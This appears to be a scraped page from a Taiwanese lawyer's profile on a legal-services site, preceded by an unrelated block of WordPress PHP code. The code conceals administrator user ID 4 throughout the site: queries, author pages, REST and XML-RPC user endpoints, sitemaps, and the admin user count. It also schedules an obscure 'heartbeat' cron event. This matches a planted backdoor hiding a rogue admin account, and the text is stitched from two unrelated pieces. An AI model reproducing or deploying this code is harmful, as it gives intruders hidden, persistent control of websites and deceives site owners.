add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
曹哲瑋律師|民事、家事案件承辦經驗|法律得來訴
跳至主要內容
曹哲瑋是沐勤法律事務所的主持律師。法律得來訴是沐勤法律事務所建立並經營的法律服務平台,網站上車禍、免除扶養、離婚、侵害配偶權、繼承與借款等民事文章,由曹哲瑋律師審閱;透過得來訴委任的民事、家事案件,由沐勤律師與合作律師承辦,通常由曹律師親自承辦。
基本資料
- 現職:沐勤法律事務所 主持律師
- 律師證書字號:109臺檢證字第15922號(可在法務部律師查詢系統以姓名或證號核對)
- 107年律師高考及格
- 學歷:東吳大學法學士、國立臺北大學法律學系碩士班民法組
- 經歷:新北市政府三重區公所法律諮詢律師
承辦的民事、家事案件
- 家事:離婚訴訟與調解、未成年子女親權、扶養費、履行離婚協議
- 免除或減輕扶養義務:代理向法院聲請,也承接聲請狀代撰
- 侵害配偶權:外遇引起的損害賠償事件
- 繼承:遺產分割與繼承相關爭議
- 車禍:車禍損害賠償
- 債務與財產:清償借款、清償債務、本票、不動產與租賃爭議
- 非訟事務:契約審閱與撰擬
案件從調解、起訴到上訴審都有處理經驗,公開裁判書中可以查到曹律師在地方法院、臺灣高等法院與最高法院擔任訴訟代理人的民事、家事裁判。得來訴的文章不公開個案案號與當事人資料。
承辦紀錄
下列案件都有法院判決、裁定或調解筆錄,頁面只寫結果文件記載的內容,不公開案號與當事人資料。完整清單見民事案件紀錄。
曹律師審閱的主題
刑事案件
曹律師的刑事辯護經歷放在沐勤法律事務所網站:沐勤法律事務所 律師團隊。
手上的民事或家事問題想先讓律師看過,把目前拿到的文件與時間點傳給曹律師,先確認能走哪條路、有沒有期限要趕。
👉 傳 LINE 給律師